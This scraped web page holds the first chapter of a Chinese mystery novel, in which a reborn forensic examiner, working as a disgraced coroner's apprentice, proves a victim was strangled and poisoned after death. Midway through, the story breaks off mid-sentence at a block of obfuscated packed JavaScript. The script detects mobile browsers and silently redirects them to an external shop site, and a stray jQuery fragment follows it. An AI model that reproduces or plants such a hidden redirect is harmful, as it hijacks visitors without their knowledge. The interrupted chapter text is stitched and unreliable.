文趣网 > 都市小说 > 我靠验尸翻旧案 > 1. 第 1 章
    尸棚里弥漫着挥之不去的腥腐气息。

    尸棚里一具死状可怖的尸体摆在验尸台上,尸体眼球向外突出,嘴巴微张,周身散发出浓浓的尸臭味,死状凄惨,周围围着一圈仵作学徒,旁边还站着一名为首的老仵作。

    老仵作皱着眉头,手在尸体上按了几下后接过旁边递过来的手巾擦了擦,慢慢开口:“如此死状,应该是撞到了什么不干净的东西,这死状明显是惊惧致死。”

    “难道她真的是被鬼杀死的?”

    “老许都说了这还有假?”

    “……”

    周围围观的仵作学徒七嘴八舌地说着,为首的老仵作名唤老许,是大靖仵作行之中比较老道的仵作之一,眼光犀利,验尸手法高超,此时老许却不知道如何下手,因为百姓报馆时尸体已经在荒郊野外淋了好几天的雨了,几乎所有痕迹都消失了,若非有乞丐会在那附近找寻睡觉的地方,可能现在都没有人发现。

    “许师傅,刑狱那边肯定没法接受撞邪这种说法,到时候派人来怎么办?”站在老许旁边的一个学徒说道。

    老许思考了一会,一声吩咐:“去,把那个丫头叫过来。”

    周遭的学徒都投了幸灾乐祸的目光。

    死状可怖的凶案尸体,没人愿意沾手,林家出来的女学徒,便是最合适的替罪人选。

    脚步声由远及近地传来。

    林湄被人喊过来的时候,手上还沾着清洗布帛留下的水渍。粗布衣裳虽然沾着污渍,脊背却也挺得很直。

    周遭的学徒纷纷往两边退开,下意识避开她,仿佛靠近几分,就会沾上不祥。

    老许抬了抬下巴,看向棚内那具被雨水泡得发胀的尸体,语气没有半分温度:“这具尸体,你来验。”

    周遭又响起几声压抑的窃笑。

    谁都清楚,雨水的连日冲刷让体表线索几乎被冲刷殆尽。

    若是验不出个所以然,刑狱那边追责下来,第一个担罪的便是她这个罪臣之后。

    做成了,功劳归许师傅教导有方;做砸了,祸事全由林湄一人扛,这便是作坊里不成文的规矩。

    林湄的目光越过众人,落在台上那具尸体上。尸身被连日大雨浸泡,表皮浮肿,很多肉眼可见的外伤都已经模糊不清。

    心底沉沉一叹,放在现代,这样高度腐败并且水浸严重的尸体本就是难题,更何况是器具简陋的大靖。

    没错,林湄是魂穿到大靖的一名现代法医,魂穿过来半月,她已经接受了现实:现代法医林湄,变成获罪家族遗女,发配为官府最低等的仵作学徒。

    她本来还奔波在凶案现场,结果现场墙体轰然坍塌,为了保护尸体她只能靠本能反应扑了上去,再睁眼,就成了这具刚刚悬梁自尽的躯体。应该是原主熬不住这里的磋磨,不堪同僚的羞辱,所以一条白绫了结了性命。而她,不知道什么原因接过来这一切。

    “怎么,不敢?”一旁的学徒起哄喊道,还笑出了声:“我就说这仵作不是随便谁都能干吧,别说还是个娘们?也不知道上面是怎么想的。”

    “罪臣之女还想着被送到什么好地方啊。”他们笑得更大声了,但是林湄没有理会,只是将目光转回到尸体,缓缓向前:“我验。”

    声音平静,听不出来任何情绪,

    她蹲下身来,取出几个简陋的竹片,小心的剥开粘连在伤口上的衣服,指尖则无意间碰到了死者耳边的耳环。

    嗡——

    尖锐的刺痛猛地狠狠撞向太阳穴。

    零碎模糊的画面一闪而逝:两个人在布置较好的房间里互相推搡,画面在一转,是被害人昏暗雨夜下被重重摔在地上的画面。

    幻象转瞬消散,林湄额角瞬间冒出一层薄汗,指尖微微发颤。

    又是这个能力。

    林湄在魂穿过来后有次跟随其他仵作出外勤,被他们吆喝去搬尸体时无意间发现自己能看到死者生前的零星画面,只是每次触碰都会带来激烈的头痛。

    她不动声色垂下眼皮,把那一点线索压在心底。她知道单凭这点片段远远不够,不能当作凭据,而且她不能告诉其他人她的能力,那样只会被他们当做神经病。

    雨水虽然毁掉了外表伤痕,可尸体不会骗人。

    林湄在心里默默推演:浸泡浮肿是表象,要分辨哪些伤痕是生前造成,哪些是雨水或者野兽后天损毁。

    “记。”林湄轻轻张开了嘴,一边继续动手用手和竹片在尸体的伤口上按着。

    “嘿,你这丫头……”一旁的记录员说着就走向林湄,心里不满凭什么要被这个小丫头命令。

    老许拦住了记录员的步伐,摇了摇头,让他按照林湄的指示来,他也想看看这个小丫头能翻出怎样的浪花。

    “死者瞳孔扩大,嘴巴微张,脖子上面有青紫色的痕迹,可能是用粗麻绳捆绑导致的勒痕。”周围人轻生笑了一下,果然这小丫头没什么本事这些他们早就看出来了,林湄不过是复述了一遍。

    林湄将尸体的头微微抬起,然后拿出一根银针从尸体的脖子上扎了进去,拿出银针后看了一眼接着说:“死者死后被灌入剧毒,身上其他痕迹皆为死后在草地上拖拽导致。”林湄站起身来,面向老许:“所以应该是被勒窒息致死。”

    学徒们闻言,哄的一声炸开了。

    “死后灌毒?这怎么可能。”

    “明明脖子上勒痕摆在眼前,难不成人勒死之后,还要特意灌一遍毒药?”

    众人交头接耳,脸上全是不信。在他们的认知里,人死之后,又何必再多此一举下毒呢。

    老许眉头紧紧皱起,向前踏出两步,目光落向尸体脖颈那处银针刺入的创口:

    “你此话当真?那为何毒药要在人殒命之后再灌入?”

    林湄缓缓收回银针,神色平静无波:“勒痕确实是致命伤,下毒只是凶手的障眼法罢了。”

    她蹲下身,指尖点过死者脖颈青紫勒痕,又指向尸体身上多处杂乱的擦伤:“身上这些拖拽伤痕,全是死后抛尸荒野时地面碎石杂草刮蹭出来的,并非是死者和犯人争斗时造成。凶手不想让仵作一眼看穿真正死因,便在勒死死者之后强行灌毒,想误导官府,让众人以为死者是中毒身亡。”

    周遭一片寂静,方才嗤笑她的学徒,脸上的戏谑一点点收敛了下去。

    林湄朝老许点了点头便准备离开了,接下来查找凶犯的事情就是官府的责任了,该做的她已经做完了。

    恰在此时,外面传来整齐的脚步声,门口的衙役高声通传的声音打破尸棚的此时的寂静:

    “刑狱御史沈聿奉命到此勘验命案。”

    尸棚的帘子被慢慢掀开,火把的亮光充满了整个尸棚,沈聿穿着一身黑色官袍跨步走入,旁边还跟着几个侍卫,他目光浅浅的扫过板上的尸体,还有站在一旁没来得及

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946043|214067||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    走的林湄,最后落在了老许身上。

    老许急忙带着众人给沈聿行礼,齐声说道:“见过沈御史。”

    沈聿没有理会行礼的众人,转身走向尸体,凑近看了看:“可查出来是什么原因致死?”

    老许迎上前去,却没敢张嘴说出来,但是转头一想,刚刚的验尸结果皆是林湄一人完成,万一林湄的结果出错,到时候把她推出去就好。

    “怎么?没查出来?”沈聿看着老许犹豫的目光,冷漠地张开嘴。

    “沈大人,这具尸体验尸是由林湄一人完成的,由她来给大人进行说明。”说完后便退在了一遍,众人的目光都落在了林湄身上,包括沈聿。

    原来她就是林湄。

    林家贪污国库数额巨大震惊朝野,男子皆被流放,女子则被发卖到各行各业,将林湄发配到仵作这种行业无疑是对她的一种打击。

    林湄没有什么表情,她早知道这些人会把她推到风口浪尖,走上前去不卑不亢,将刚才的验尸结果和过程都一五一十的告诉了沈聿。

    沈聿听完后走向了尸体脖颈处,在旁边的桌子上拿了一根银针在脖颈其他位置扎了进去,拿出来果然与林湄说的一样。

    沈聿目光沉沉地看向林湄:“死后投毒如此罕见,你又是如果判断不是死前投毒?”

    “回大人,”林湄拿出自己查验尸体的银针,“银针插入脖颈出拿出下端无色而上端呈黑色,是因为人死后吞入的液体会停留在食道处,若是死前投毒则下端为黑色,反之自然也就是死后投毒。”

    沈聿看向林湄没有动,继续带着审视的目光:“既然是勒杀,可有什么线索?”

    林湄目光顿了顿,脑中闪过之前触碰尸体时的记忆碎片——争执还有房屋的布置,但是她不能说。

    林湄朝沈聿行礼,然后接着说:“回大人,尸体被雨淋多日,目前只能根据尸体得出死亡原因,尚且没有凶手的线索。”

    沈聿顿首,然后朝旁边的侍卫吩咐:“查清楚死者在生前接触了哪些人,尤其是是否和其他人有私人恩怨,尸体妥善安置不得随意挪动,等候府衙二次尸检。”

    沈聿转身朝门口走去,一只脚刚跨过门槛,“大人!查案能否带上我?”沈聿转身看去,是刚刚对他提问对答如流的林湄。

    林湄走上前去:“大人,仵作本身就需要观察细节的能力,我可能可以帮助您获得一些你们没注意到的东西。”

    老许和其他围观的学徒们都很惊讶,没想到这个小丫头胆子这么大!

    这可是刑狱御史,一句话就能要了所有人的命。

    沈聿没说话,朝着旁边的侍卫点了点头就走了出去,显然是对林湄的印象还不错,所以允许她跟着。

    “跟我来吧。”

    林湄拿着自己的验尸工具跟侍卫旁边和沈聿一起离开了尸棚。

    在其他人眼里林湄可能是个想乘机攀高枝的俗人,但是只有淋湄知道她不仅仅是为了查明这个案子,更多的是为了自己。

    林湄跟在侍卫后面,小心的从怀里掏出来一块翠绿色的玉佩,那是父亲的玉佩,林家被抄家时所有东西都上交了国库,可是现在却出现在了尸体的衣服里,若不是其他人嫌这具尸体死状可怖,她可能都没机会发现。

    林湄将玉佩小心的放回怀里。

    她需要知道真相,

    不管是林家的事还是雨夜尸体的事。